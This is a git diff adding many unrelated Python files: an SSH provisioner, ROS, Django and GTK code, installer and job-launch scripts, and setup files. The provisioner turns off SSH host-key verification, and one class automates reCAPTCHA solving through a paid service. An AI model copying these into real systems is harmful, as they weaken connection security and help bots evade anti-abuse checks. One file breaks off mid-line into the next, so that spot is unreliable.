)) + + # -------------------------------------------------------------------------- + # PROVISIONER PUBLIC API + # -------------------------------------------------------------------------- + + def ssh(self, instance_data): + """ open a shell into a box """ + + # if writing a new provisioner, it may be helpful to subclass this + # class rather than reimplementing this method. Then just override + # converge + + self._wait_for_ready(instance_data) + return invoke(self._build_ssh_cmd(instance_data,"")) + + # -------------------------------------------------------------------------- + + def converge(self, instance_data): + """ run all convergence operations in the commands list """ + + for item in self.commands: + if isinstance(item, basestring): + item = dict(type="ssh", command=item) + self._dispatch(instance_data, item) + + # -------------------------------------------------------------------------- + # PRIVATE FUNCTIONS + # -------------------------------------------------------------------------- + + def _dispatch(self, instance_data, item): + """ + Handle an item in the commands array, examples: + + "echo foo" # SSH (shorthand) + { type: "ssh", command: "echo foo"} # also SSH + { type: "copy", from: x, to: y } # scp + + """ + + what = item.get('type', None) + + if what == 'ssh': + # wait for SSH and then launch a command + self._wait_for_ready(instance_data) + return invoke(self._build_ssh_cmd( + instance_data, item.get('command', None) + )) + + elif what == 'copy': + # wait for SSH and then launch an scp + copy_from = item['copy_from'] + copy_to = item['copy_to'] + self._wait_for_ready(instance_data) + invoke(self._build_ssh_cmd(instance_data, "mkdir -p %s" % copy_to)) + return invoke(self._build_copy_cmd( + instance_data, + copy_from = copy_from, + copy_to = copy_to + )) + + # add any other operational types here (such as local command execution) + + else: + raise Exception("unknown type in commands list: %s, %s" % (item, what)) + + # -------------------------------------------------------------------------- + + def _wait_for_ready(self, instance_data): + """ wait for SSH availability """ + + if self.waited: + return True + + (host, port) = (instance_data.ssh.host, instance_data.ssh.port) + self.log("checking for SSH availability on %s:%s" % (host, port)) + while True: + + cmd = self._build_ssh_cmd( + instance_data, + "echo %s" % SSH_CANARY, + connect_timeout=SSH_CONNECT_TIMEOUT) + output = invoke(cmd, check_output=True).strip() + + if output.endswith(SSH_CANARY): + self.waited = True + return True + + self.log("retrying SSH availability in %s seconds..." % SSH_RETRY) + time.sleep(SSH_RETRY) + + # -------------------------------------------------------------------------- + + def _ssh_params(self, instance_data): + """ builds common SSH params used by all operations""" + + return "-o Port=%s -o LogLevel=quiet -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no" % instance_data.ssh.port + + # -------------------------------------------------------------------------- + + def _build_ssh_cmd(self, instance_data, what, connect_timeout=30): + """ builds a shell command line """ + + assert instance_data is not None + assert what is not None + + base = "ssh %s -o ConnectTimeout=%s -i %s %s@%s -p %s" % ( + self._ssh_params(instance_data), + connect_timeout, + instance_data.ssh.keyfile, + instance_data.ssh.user, + instance_data.ssh.host, + instance_data.ssh.port + ) + if what is None or what == "": + return base + return "%s %s" % (base, what) + + # -------------------------------------------------------------------------- + + def _build_copy_cmd(self, instance_data, copy_from, copy_to): + """ builds a remote copy command line """ + + # previously we used rsync here but I found it was unreliable + # on some AWS instances - even with particular userdata. This will + # copy more data but will fail MUCH less, making it more reliable + # in build systems. For CI, this is a non-issue. Developers + # may wish to add a "use_rsync" flag. Pull requests would be + # welcome. + + assert instance_data is not None + assert copy_from is not None + assert copy_to is not None + + return "scp -r %s -i %s -P %s %s %s@%s:%s" % ( + self._ssh_params(instance_data), + instance_data.ssh.keyfile, + instance_data.ssh.port, + copy_from, + instance_data.ssh.user, + instance_data.ssh.host, + copy_to + ) diff --git a/pool/shard008/Python/0078476_buzzer4.py b/pool/shard008/Python/0078476_buzzer4.py new file mode 100644 index 0000000000000000000000000000000000000000..ba1be50c5546a30cf10ff0e3f067f378559da137 --- /dev/null +++ b/pool/shard008/Python/0078476_buzzer4.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python +#encoding: utf8 +import rospy, actionlib +from std_msgs.msg import UInt16 +from pimouse_ros.msg import MusicAction, MusicResult, MusicFeedback # 行を追加 + +def write_freq(hz=0): + bfile = "/dev/rtbuzzer0" + try: + with open(bfile,"w") as f: + f.write(str(hz) + "\n") + except IOError: + rospy.logerr("can't write to " + bfile) + +def exec_music(goal): pass # 追加 + +def recv_buzzer(data): + write_freq(data.data) +if __name__ == '__main__': + rospy.init_node('buzzer') + rospy.Subscriber("buzzer", UInt16, recv_buzzer) + music = actionlib.SimpleActionServer('music', MusicAction, exec_music, False) # 追加 + music.start() # 追加 + rospy.on_shutdown(write_freq) # 追加 + rospy.spin() + +# Copyright 2016 Ryuichi Ueda +# Released under the BSD License. +# To make line numbers be identical with the book, this statement is written here. Don't move it to the header. diff --git a/pool/shard008/Python/0078479_shops.py b/pool/shard008/Python/0078479_shops.py new file mode 100644 index 0000000000000000000000000000000000000000..cda3401cd9ebdf39cb66a8e544c4f7f20b168677 --- /dev/null +++ b/pool/shard008/Python/0078479_shops.py @@ -0,0 +1,105 @@ +# -*- coding: utf-8 -*- +# This file is part of Shuup. +# +# Copyright (c) 2012-2016, Shoop Commerce Ltd. All rights reserved. +# +# This source code is licensed under the AGPLv3 license found in the +# LICENSE file in the root directory of this source tree. +from __future__ import unicode_literals + +from django.conf import settings +from django.db import models +from django.utils.encoding import python_2_unicode_compatible +from django.utils.translation import ugettext_lazy as _ +from enumfields import Enum, EnumIntegerField +from filer.fields.image import FilerImageField +from jsonfield import JSONField +from parler.models import TranslatedFields + +from shuup.core.fields import CurrencyField, InternalIdentifierField +from shuup.core.pricing import TaxfulPrice, TaxlessPrice +from shuup.utils.analog import define_log_model + +from ._base import ChangeProtected, TranslatableShuupModel +from ._orders import Order + + +def _get_default_currency(): + return settings.SHUUP_HOME_CURRENCY + + +class ShopStatus(Enum): + DISABLED = 0 + ENABLED = 1 + + class Labels: + DISABLED = _('disabled') + ENABLED = _('enabled') + + +@python_2_unicode_compatible +class Shop(ChangeProtected, TranslatableShuupModel): + protected_fields = ["currency", "prices_include_tax"] + change_protect_message = _("The following fields cannot be changed since there are existing orders for this shop") + + identifier = InternalIdentifierField(unique=True) + domain = models.CharField(max_length=128, blank=True, null=True, unique=True, verbose_name=_("domain"), help_text=_( + "Your shop domain name. Use this field to configure the URL that is used to visit your site. " + "Note: this requires additional configuration through your internet domain registrar." + )) + status = EnumIntegerField(ShopStatus, default=ShopStatus.DISABLED, verbose_name=_("status"), help_text=_( + "Your shop status. Disable your shop if it is no longer in use." + )) + owner = models.ForeignKey("Contact", blank=True, null=True, on_delete=models.SET_NULL, verbose_name=_("contact")) + options = JSONField(blank=True, null=True, verbose_name=_("options")) + currency = CurrencyField(default=_get_default_currency, verbose_name=_("currency"), help_text=_( + "The primary shop currency. This is the currency used when selling your products." + )) + prices_include_tax = models.BooleanField(default=True, verbose_name=_("prices include tax"), help_text=_( + "This option defines whether product prices entered in admin include taxes. " + "Note this behavior can be overridden with contact group pricing." + )) + logo = FilerImageField(verbose_name=_("logo"), blank=True, null=True, on_delete=models.SET_NULL) + maintenance_mode = models.BooleanField(verbose_name=_("maintenance mode"), default=False, help_text=_( + "Check this if you would like to make your shop temporarily unavailable while you do some shop maintenance." + )) + contact_address = models.ForeignKey( + "MutableAddress", verbose_name=_("contact address"), blank=True, null=True, on_delete=models.SET_NULL) + + translations = TranslatedFields( + name=models.CharField(max_length=64, verbose_name=_("name"), help_text=_( + "The shop name. This name is displayed throughout admin." + )), + public_name=models.CharField(max_length=64, verbose_name=_("public name"), help_text=_( + "The public shop name. This name is displayed in the store front and in any customer email correspondence." + )), + maintenance_message=models.CharField( + max_length=300, blank=True, verbose_name=_("maintenance message"), help_text=_( + "The message to display to customers while your shop is in maintenance mode." + ) + ) + ) + + def __str__(self): + return self.safe_translation_getter("name", default="Shop %d" % self.pk) + + def create_price(self, value): + """ + Create a price with given value and settings of this shop. + + Takes the ``prices_include_tax`` and ``currency`` settings of + this Shop into account. + + :type value: decimal.Decimal|int|str + :rtype: shuup.core.pricing.Price + """ + if self.prices_include_tax: + return TaxfulPrice(value, self.currency) + else: + return TaxlessPrice(value, self.currency) + + def _are_changes_protected(self): + return Order.objects.filter(shop=self).exists() + + +ShopLogEntry = define_log_model(Shop) diff --git a/pool/shard008/Python/0078480_lazy_pixbuf_creator.py b/pool/shard008/Python/0078480_lazy_pixbuf_creator.py new file mode 100644 index 0000000000000000000000000000000000000000..66b7f7a33c7f496626a01f51513d7684f74a4259 --- /dev/null +++ b/pool/shard008/Python/0078480_lazy_pixbuf_creator.py @@ -0,0 +1,152 @@ +#!/usr/bin/env python3 +# +# Copyright 2010 Google Inc. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +"""Create pixbuf on demand. + +This creates a gtk pixbuf in one of 2 manners: +1) Simple filename (probably supports most image formats) +2) A function which returns bytes to a file which can be read by + pixbuf_new_from_file(). + +The name_fnames contains a list for key. Each element of the list will be +composted with the previous element (overlayed on top of). + +Alpha transparencies from the new, overlayed, image are respected. +""" + +__author__ = 'scott@forusers.com (Scott Kirkwood))' + +import gi +gi.require_version("Gtk", "3.0") +from gi.repository import Gtk, GdkPixbuf +import logging +import os +import sys +import re +import tempfile +import types + +class LazyPixbufCreator(object): + """Class to create SVG images on the fly.""" + def __init__(self, name_fnames, resize): + """Initialize with empty. + + Args: + name_fnames: List of names to filename list. + """ + self.pixbufs = {} + self.resize = resize + self.name_fnames = name_fnames + + def reset_all(self, names_fnames, resize): + """Resets the name to filenames and size.""" + self.pixbufs = {} + self.name_fnames = names_fnames + self.resize = resize + + def get(self, name): + """Get the pixbuf with this name.""" + if name not in self.pixbufs: + name = self.create_pixbuf(name) + return self.pixbufs[name] + + def create_pixbuf(self, name): + """Creates the image. + Args: + name: name of the image we are to create. + Returns: + The name given or EMPTY if error. + """ + if name not in self.name_fnames: + logging.error(f'Don\'t understand the name {name!r}') + return 'KEY_EMPTY' + ops = self.name_fnames[name] + img = None + for operation in ops: + if isinstance(operation, str): + img = self._composite(img, self._read_from_file(operation)) + else: + image_bytes = operation() + image_bytes = self._resize(image_bytes) + img = self._composite(img, self._read_from_bytes(image_bytes)) + self.pixbufs[name] = img + return name + + def _composite(self, img, img2): + """Combine/layer img2 on top of img. + Args: + img: original image (or None). + img2: new image to add on top. + Returns: + updated image. + """ + if img: + img2.composite(img, + 0, 0, img.props.width, img.props.height, # x, y, w, h + 0, 0, # offset x, y + 1.0, 1.0, # scale x, y + GdkPixbuf.InterpType.HYPER, 255) # interpolation type, alpha + return img + return img2 + + def _read_from_file(self, fname): + """Read in the file in from fname.""" + logging.debug(f'Read file {fname}') + if self.resize == 1.0: + return GdkPixbuf.Pixbuf.new_from_file(fname) + fin = open(fname) + image_bytes = self._resize(fin.read()) + fin.close() + return self._read_from_bytes(image_bytes) + + def _read_from_bytes(self, image_bytes): + """Writes the bytes to a file and then reads the file.""" + fout, fname = tempfile.mkstemp(prefix='keymon-', suffix='.svg') + os.write(fout, str.encode(image_bytes)) + os.close(fout) + try: + img = GdkPixbuf.Pixbuf.new_from_file(fname) + except: + logging.error(f'Unable to read {fname!r}: {image_bytes}') + sys.exit(-1) + + try: + os.unlink(fname) + except OSError: + pass + return img + + def _resize(self, image_bytes): + """Resize the image by manipulating the svg.""" + if self.resize == 1.0: + return image_bytes + template = r'( None: + print("Cleaning files") + for path in paths: + if path.is_dir(): + shutil.rmtree(path, ignore_errors=True) + elif path.is_file(): + path.unlink(missing_ok=True) # type: ignore[call-arg] + + +def build_installer( + icon: Path, nsi: Path, files_to_package: Path, output_file: Path +) -> None: + print("Building Installer") + shutil.copy(icon, files_to_package / "gaphor.ico") + os.chdir(files_to_package) + subprocess.run( + [ + "makensis", + "-NOCD", + f"-DVERSION={version}", + str(nsi), + ], + capture_output=True, + text=True, + ) + + shutil.move(str(files_to_package / "gaphor-LATEST.exe"), output_file) + + +def concatenate_files(input_files: list[Path], output_file: Path) -> None: + print(f"Opening {output_file} for write") + with open(output_file, "wb") as writer: + for input_file in input_files: + print(f"Writing {input_file}") + with open(input_file, "rb") as reader: + shutil.copyfileobj(reader, writer) + + +def unix2dos(file_path: Path) -> None: + win_line_ending = b"\r\n" + unix_line_ending = b"\n" + + with open(file_path, "rb") as open_file: + content = open_file.read() + content = content.replace(win_line_ending, unix_line_ending) + with open(file_path, "wb") as open_file: + open_file.write(content) + + +def build_portable_installer( + symlink_path: Path, + readme_path: Path, + files_to_package: Path, + portable_path: Path, + payload_path: Path, + seven_zip_path: Path, + output_file: Path, +) -> None: + print("Building portable installer") + shutil.copy(symlink_path, portable_path / symlink_path.name) + shutil.copy(readme_path, portable_path / "README.txt") + unix2dos(portable_path / "README.txt") + config_path = portable_path / "config" + config_path.mkdir() + shutil.copytree(files_to_package, portable_path / "data") + + subprocess.run([str(seven_zip_path), "a", str(payload_path), str(portable_path)]) + if payload_path.is_file(): + print(f"Payload 7z archive found at {payload_path}") + else: + print("Payload 7z archive not found") + sfx_path = seven_zip_path.parent / "7z.sfx" + if sfx_path.is_file(): + print(f"Sfx file found at {sfx_path}") + else: + print("Sfx file not found") + concatenate_files([seven_zip_path.parent / "7z.sfx", payload_path], output_file) + + +def main(): + working_dir: Path = Path(__file__).resolve().parents[1] + dist: Path = working_dir / "dist" + Path(dist / "gaphor").mkdir(parents=True, exist_ok=True) + + portable: Path = dist / f"gaphor-{version}-portable" + payload: Path = dist / "payload.7z" + + clean_files([portable, payload]) + + icon = working_dir / "windows" / "gaphor.ico" + nsi = working_dir / "windows" / "win_installer.nsi" + gaphor_files: Path = dist / "gaphor" + installer = dist / f"gaphor-{version}-installer.exe" + build_installer(icon, nsi, gaphor_files, installer) + + portable.mkdir(parents=True) + symlink = working_dir / "windows" / "gaphor.lnk" + readme = working_dir / "windows" / "README-PORTABLE.txt" + seven_zip: Path = Path("C:/Program Files/7-Zip/7z.exe") + installer = dist / f"gaphor-{version}-portable.exe" + build_portable_installer( + symlink, readme, gaphor_files, portable, payload, seven_zip, installer + ) + + clean_files([portable, payload]) + print("Windows Installer builds are complete!") + + +if __name__ == "__main__": + main() diff --git a/pool/shard008/Python/0078505_client.py b/pool/shard008/Python/0078505_client.py new file mode 100644 index 0000000000000000000000000000000000000000..a3c08eb3effb4e0135bcf270816575bd3cf7cc0c --- /dev/null +++ b/pool/shard008/Python/0078505_client.py @@ -0,0 +1,63 @@ +# All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. +import sys + +import requests + +from cloudevents.http import CloudEvent, to_binary, to_structured + + +def send_binary_cloud_event(url): + # This data defines a binary cloudevent + attributes = { + "type": "com.example.sampletype1", + "source": "https://example.com/event-producer", + } + data = {"message": "Hello World!"} + + event = CloudEvent(attributes, data) + headers, body = to_binary(event) + + # send and print event + requests.post(url, headers=headers, data=body) + print(f"Sent {event['id']} from {event['source']} with " f"{event.data}") + + +def send_structured_cloud_event(url): + # This data defines a binary cloudevent + attributes = { + "type": "com.example.sampletype2", + "source": "https://example.com/event-producer", + } + data = {"message": "Hello World!"} + + event = CloudEvent(attributes, data) + headers, body = to_structured(event) + + # send and print event + requests.post(url, headers=headers, data=body) + print(f"Sent {event['id']} from {event['source']} with " f"{event.data}") + + +if __name__ == "__main__": + # expects a url from command line. + # e.g. python3 client.py http://localhost:3000/ + if len(sys.argv) < 2: + sys.exit( + "Usage: python with_requests.py " "" + ) + + url = sys.argv[1] + send_binary_cloud_event(url) + send_structured_cloud_event(url) diff --git a/pool/shard008/Python/0078509_launcher.py b/pool/shard008/Python/0078509_launcher.py new file mode 100644 index 0000000000000000000000000000000000000000..8ec3962d2d1ab20646ed140f009d1c50a2da9d3f --- /dev/null +++ b/pool/shard008/Python/0078509_launcher.py @@ -0,0 +1,239 @@ +import os +import sys +import argparse +import shlex +from pprint import pprint +from copy import deepcopy + +import numpy as np +from scipy.sparse import coo_matrix + +from sklearn.grid_search import ParameterGrid + +from clusterlib.scheduler import queued_or_running_jobs +from clusterlib.scheduler import submit +from clusterlib.storage import sqlite3_loads + +from sklearn.metrics import average_precision_score +from sklearn.metrics import roc_auc_score + +from main import WORKING_DIR +from main import make_hash +from main import parse_arguments +from main import get_sqlite3_path +from utils import scale + +LOG_DIRECTORY = os.path.join(WORKING_DIR, "logs") + +ALL_FLUORESCENCE = [os.path.join(WORKING_DIR, "datasets", x) + for x in os.listdir(os.path.join(WORKING_DIR, + "datasets")) + if (x.startswith("fluorescence_"))] + +ALL_NETWORKS = [os.path.basename(os.path.splitext(x)[0]).split("_", 1)[1] + for x in ALL_FLUORESCENCE] + + +OUTPUT_DIR = os.path.join(WORKING_DIR, "submission") + +NORMAL = [{ + "output_dir": [OUTPUT_DIR], + "network": [network], + "fluorescence": [fluorescence], + "method": ["simple", "tuned"], + "directivity": [0, 1], +} for fluorescence, network in zip(ALL_FLUORESCENCE, ALL_NETWORKS)] + +HIDDEN_NEURON = [{ + "output_dir": [OUTPUT_DIR], + "network": [network], + "fluorescence": [fluorescence], + "method": ["simple", "tuned"], + "directivity": [0, 1], + "killing": range(1, 11), +} +for fluorescence, network in zip(ALL_FLUORESCENCE, ALL_NETWORKS) +if network in ("normal-3", "normal-4") +] + +PARAMETER_GRID = ParameterGrid(NORMAL + HIDDEN_NEURON) + +TIME = dict() +MEMORY = dict() + +def _roc_auc_score(y_true, y_score): + try: + return roc_auc_score(y_true, y_score) + except ValueError: + return np.nan + +METRICS = { + "roc_auc_score": _roc_auc_score, + "average_precision_score": average_precision_score, +} + + + + +def compute_scores(f_ground_truth, f_prediction, parameters): + + # Load ground truth + raw_graph = np.loadtxt(f_ground_truth, delimiter=",") + row = raw_graph[:, 0] - 1 + col = raw_graph[:, 1] - 1 + data = raw_graph[:, 2] + valid_index = data > 0 + y_true = coo_matrix((data[valid_index], + (row[valid_index], col[valid_index])), + shape=(1000, 1000)) + + y_true = y_true.toarray() + + if parameters.get("killing", None): + + # load name_kill_var + killing_file = os.path.join(WORKING_DIR, "datasets", "hidden-neurons", + "{0}_kill_{1}.txt" + "".format(parameters["network"], + parameters["killing"])) + kill = np.loadtxt(killing_file, dtype=np.int) + + # make a mask + alive = np.ones((y_true.shape[0],), dtype=bool) + alive[kill - 1] = False # we need to make -1 since it's matlab indexing + y_true = y_true[alive][:, alive] + + + # Load predictions + rows = [] + cols = [] + scores = [] + with open(f_prediction) as fhandle: + fhandle.next() + + for line in fhandle: + line = line.strip() + + prefix, score = line.rsplit(",", 1) + scores.append(float(score)) + row, col = prefix.split("_")[-2:] + rows.append(int(row) - 1) + cols.append(int(col) - 1) + y_scores = scale(coo_matrix((scores, (rows, cols))).toarray()) + + print(y_true.shape) + print(y_scores.shape) + + # Compute scores + measures = dict((name, metric(y_true.ravel(), y_scores.ravel())) + for name, metric in METRICS.items()) + + return measures + + + +if __name__ == "__main__": + + # Argument parser + parser = argparse.ArgumentParser() + parser.add_argument('-d', '--debug', default=False, action="store_true") + parser.add_argument('-v', '--verbose', default=False, action="store_true") + parser.add_argument('-s', '--scores', default=False, action="store_true", + help="compute scores") + + args = vars(parser.parse_args()) + + + # Create log direcotyr if needed + if not os.path.exists(LOG_DIRECTORY): + os.makedirs(LOG_DIRECTORY) + + # Get running jobs + all_jobs_running = set(queued_or_running_jobs()) + all_jobs_done = sqlite3_loads(get_sqlite3_path()) + + # Intialize some counter for reporting + n_jobs_running = 0 + n_jobs_done = 0 + n_jobs_launched = 0 + + results = [] + + # Launch if necessary experiments + for parameters in PARAMETER_GRID: + job_hash = make_hash(parameters) + + if job_hash in all_jobs_running: + n_jobs_running +=1 + + elif job_hash in all_jobs_done: + n_jobs_done += 1 + + if args["scores"]: + fname = os.path.join(OUTPUT_DIR, "%s.csv" % job_hash) + + + network = parameters["network"] + if "normal-" in parameters["network"]: + network = parameters["network"][:len("normal-") + 1] + elif "test" in parameters["network"]: + continue + elif "valid" in parameters['network']: + continue + else: + raise ValueError("Unknown network") + + ground_truth = os.path.join(WORKING_DIR, "datasets", + "network_%s.txt" % network) + measure = compute_scores(ground_truth, fname, parameters) + row = deepcopy(parameters) + row.update(measure) + pprint(row) + results.append(row) + + + else: + n_jobs_launched += 1 + cmd_parameters = " ".join("--%s %s" % (key, parameters[key]) + for key in sorted(parameters)) + + scripts_args = parse_arguments(shlex.split(cmd_parameters)) + if make_hash(scripts_args) != job_hash: + pprint(scripts_args) + pprint(parameters) + raise ValueError("hash are not equal, all parameters are " + "not specified.") + + cmd = submit(job_command="%s main.py %s" + % (sys.executable, cmd_parameters), + job_name=job_hash, + time="100:00:00", + memory=24000, + log_directory=LOG_DIRECTORY, + backend="slurm") + + if not args["debug"]: + os.system(cmd) + elif args["verbose"]: + print("[launched] %s" % job_hash) + print(cmd) + + if os.path.exists(os.path.join(LOG_DIRECTORY, + "%s.txt" % job_hash)): + os.system("cat %s" % os.path.join(LOG_DIRECTORY, + "%s.txt" % job_hash)) + + print("\nSummary launched") + print("------------------") + print("n_jobs_runnings = %s" % n_jobs_running) + print("n_jobs_done = %s" % n_jobs_done) + print("n_jobs_launched = %s" % n_jobs_launched) + + if args["scores"]: + import pandas as pd + results = pd.DataFrame(results) + + writer = pd.ExcelWriter(os.path.join(WORKING_DIR, + "summary_connectomics.xls")) + results.to_excel(writer) + writer.save() diff --git a/pool/shard008/Python/0078511_setup.py b/pool/shard008/Python/0078511_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..674a4e6d0ee3f75bbd841fcd1152d7af0fe44995 --- /dev/null +++ b/pool/shard008/Python/0078511_setup.py @@ -0,0 +1,85 @@ +#!/usr/bin/env python +import os +import sys +import re + +from setuptools import setup, find_packages + + +# version = re.compile(r'VERSION\s*=\s*\((.*?)\)') + + +# def get_package_version(): +# "returns package version without importing it" +# base = os.path.abspath(os.path.dirname(__file__)) +# with open(os.path.join(base, "tcelery/__init__.py")) as initf: +# for line in initf: +# m = version.match(line.strip()) +# if not m: +# continue +# return ".".join(m.groups()[0].split(", ")) + +version = re.compile(r'__version__\s*=\s*[\'\"](.+)[\"\']') + +def get_package_version(): + "returns package version without importing it" + base = os.path.abspath(os.path.dirname(__file__)) + with open(os.path.join(base, "tcelery/__init__.py")) as initf: + for line in initf: + m = version.match(line.strip()) + if not m: + continue + return m.groups(1)[0] + +install_requires = ['celery', 'tornado'] +dependency_links = [] + +if sys.version_info[0] >= 3: + dependency_links.append( + 'https://github.com/renshawbay/pika-python3/archive/python3.zip#egg=pika-python3' + ) + install_requires.append('python3-pika') +else: + install_requires.append('pika') + + +classes = """ + Development Status :: 3 - Alpha + Intended Audience :: Developers + License :: OSI Approved :: BSD License + Topic :: System :: Distributed Computing + Programming Language :: Python + Programming Language :: Python :: 2 + Programming Language :: Python :: 2.6 + Programming Language :: Python :: 2.7 + Programming Language :: Python :: 3 + Programming Language :: Python :: 3.2 + Programming Language :: Python :: 3.3 + Programming Language :: Python :: Implementation :: CPython + Operating System :: OS Independent +""" +classifiers = [s.strip() for s in classes.split('\n') if s] + + +setup( + name='tornado-celery', + version=get_package_version(), + description='Celery integration with Tornado', + long_description=open('README.rst').read(), + author='Mher Movsisyan', + author_email='mher.movsisyan@gmail.com', + url='https://github.com/mher/tornado-celery', + license='BSD', + classifiers=classifiers, + packages=find_packages(exclude=['tests', 'tests.*']), + dependency_links=dependency_links, + install_requires=install_requires, + extras_require={ + 'redis': ["tornado-redis"] + }, + entry_points={ + 'console_scripts': [ + 'tcelery = tcelery.__main__:main', + ] + }, +) diff --git a/pool/shard008/Python/0078517_antiCaptcha.py b/pool/shard008/Python/0078517_antiCaptcha.py new file mode 100644 index 0000000000000000000000000000000000000000..6614b53d8b65788ea91262d6f76b804b005151cf --- /dev/null +++ b/pool/shard008/Python/0078517_antiCaptcha.py @@ -0,0 +1,48 @@ +import requests +import json +from time import sleep + + +class AntiCaptcha: + + def __init__(self, api_key): + self.api_key = api_key + self.url = 'https://api.anti-captcha.com/' + self.header = { + 'Content-Type': 'application/json; charset=utf-8', + 'Accept': 'application/json' + } + + def create(self, website_url, website_key): + data = { + "clientKey": self.api_key, + "task": { + "type": "NoCaptchaTaskProxyless", + "websiteURL": website_url, + "websiteKey": website_key + } + } + + response = requests.post(self.url + 'createTask', json.dumps(data), self.header).json() + if response['errorId'] == 0: + return response['taskId'] + + def result(self, task_id): + data = { + "clientKey": self.api_key, + "taskId": task_id + } + + response = requests.post(self.url + 'getTaskResult', json.dumps(data), self.header).json() + if response['errorId'] == 0: + if response['status'] == "processing": + sleep(5) + return self.result(task_id) + if response['status'] == "ready": + return response['solution']['gRecaptchaResponse'] + + def balance(self): + response = requests.post(self.url + 'getBalance', json.dumps({"clientKey": self.api_key}), self.header).json() + if response['errorId'] == 0: + return response['balance'] + return None diff --git a/pool/shard008/Python/0078521_rating.py b/pool/shard008/Python/0078521_rating.py new file mode 100644 index 0000000000000000000000000000000000000000..83fea2913f03d3c88b96ac29d55218964196d79d --- /dev/null +++ b/pool/shard008/Python/0078521_rating.py @@ -0,0 +1,41 @@ +# TODO: fetch this from API + +from enum import Enum + +# copied from the server code according to which +# this will need be fixed when the database +# gets migrated + + +class RatingType(Enum): + GLOBAL = "global" + LADDER = "ladder_1v1" + TMM_2v2 = "tmm_2v2" + TMM_3v3 = "tmm_3v3" + TMM_4v4 = "tmm_4v4" + + @staticmethod + def fromMatchmakerQueue(matchmakerQueueName): + for ratingType in list(RatingType): + if ratingType.value.replace("_", "") == matchmakerQueueName: + return ratingType.value + return RatingType.GLOBAL.value + + +# this is not from the server code. but it is weird +# that rating types and leaderboard names differ +# from matchmaker queue names + + +class MatchmakerQueueType(Enum): + LADDER = "ladder1v1" + TMM_2v2 = "tmm2v2" + TMM_3v3 = "tmm3v3" + TMM_4v4 = "tmm4v4" + + @staticmethod + def fromRatingType(ratingTypeName): + for matchmakerQueue in list(MatchmakerQueueType): + if ratingTypeName.replace("_", "") == matchmakerQueue.value: + return matchmakerQueue.value + return MatchmakerQueueType.LADDER.value diff --git a/pool/shard008/Python/0078528_trycatch.py b/pool/shard008/Python/0078528_trycatch.py new file mode 100644 index 0000000000000000000000000000000000000000..4f6673fac945d68f0f985b88bc9ee4e79ee454a1 --- /dev/null +++ b/pool/shard008/Python/0078528_trycatch.py @@ -0,0 +1,56 @@ +#!/usr/bin/env python2.7 +# -*- coding: utf-8 -*- + +'Python Try Catch Finally!' + +__author__ = 'JoshuaMK1992' + +import logging +logging.basicConfig(level=logging.INFO) # log level : CRITICAL > ERROR > WARNING > INFO > DEBUG > NOTSET + +def main(): + try: + print 'START : trycatch' + r = 10 / int('2') + print 'result:', r + except ValueError as e: + print 'ValueError:', e + except ZeroDivisionError as e: + print 'ZeroDivisionError:', e + else: + print 'There is no error!' + finally: + print 'finally!' + print 'END' + + try: + bar('0') + except Exception as e: + logging.exception(e) + + print '------' + s = '0' + n = int(s) + # logging.info('n = %d' % n) + logging.info('This is warning message') + print 10 / n + + # divide('0') + +def foo(s): + return 10 / int(s) + +def bar(s): + return foo(s) * 2 + +class FooError(ValueError): + pass + +def divide(s): + n = int(s) + if n == 0: + raise FooError('invalid value: %s' % s) + return 10 / n + +if __name__ == '__main__': + main() diff --git a/pool/shard008/Python/0078533_setup.py b/pool/shard008/Python/0078533_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..02634f5c4c71a16ba1470d32d5c8e4e04cf45129 --- /dev/null +++ b/pool/shard008/Python/0078533_setup.py @@ -0,0 +1,31 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from __future__ import with_statement + +from setuptools import setup + + +with open('VERSION') as fl: + VERSION = fl.read().rstrip() + +with open('README.rst') as fl: + LONG_DESCRIPTION = fl.read() + +with open('LICENSE') as fl: + LICENSE = fl.read() + + +setup( + name='Medoids', + version=VERSION, + author='Alex Prengère', + author_email='alexprengere@gmail.com', + url='https://github.com/alexprengere/medoids', + description='K-medoids implementation.', + long_description=LONG_DESCRIPTION, + license=LICENSE, + py_modules=[ + 'medoids' + ], +) diff --git a/pool/shard008/Python/0078535_0051_auto_20200225_1349.py b/pool/shard008/Python/0078535_0051_auto_20200225_1349.py new file mode 100644 index 0000000000000000000000000000000000000000..9f93610c687bdfccd46263a0a0c0ece20809aac2 --- /dev/null +++ b/pool/shard008/Python/0078535_0051_auto_20200225_1349.py @@ -0,0 +1,19 @@ +# Generated by Django 2.2.10 on 2020-02-25 13:49 + +import django.core.files.storage +from django.db import migrations, models + + +class Migration(migrations.Migration): + + dependencies = [ + ('democracy', '0050_add_on_deletes'), + ] + + operations = [ + migrations.AlterField( + model_name='sectionfile', + name='file', + field=models.FileField(max_length=2048, storage=django.core.files.storage.FileSystemStorage(location='/home/santtua/kerrokantasi/protected_media'), upload_to='files/%Y/%m', verbose_name='file'), + ), + ] diff --git a/pool/shard008/Python/0078546_direct.py b/pool/shard008/Python/0078546_direct.py new file mode 100644 index 0000000000000000000000000000000000000000..0b7f8f672953914f9fb560d605ba480edbb97fa6 --- /dev/null +++ b/pool/shard008/Python/0078546_direct.py @@ -0,0 +1,193 @@ +# -*- coding: utf-8 -*- +""" +fluiddbexplorer.direct +~~~~~~~~~~~~~~~~~~~~~~ + +Ext.Direct functions + +:copyright: 2010 by FluidDB Explorer Authors +:license: MIT, see LICENSE for more information +""" + +from flask import g, session +from fom.session import Fluid +from fom.db import PRIMITIVE_CONTENT_TYPE + +from fluiddbexplorer import extdirect + + +INSTANCE_URL = { + 'fluiddb': 'http://fluiddb.fluidinfo.com', + 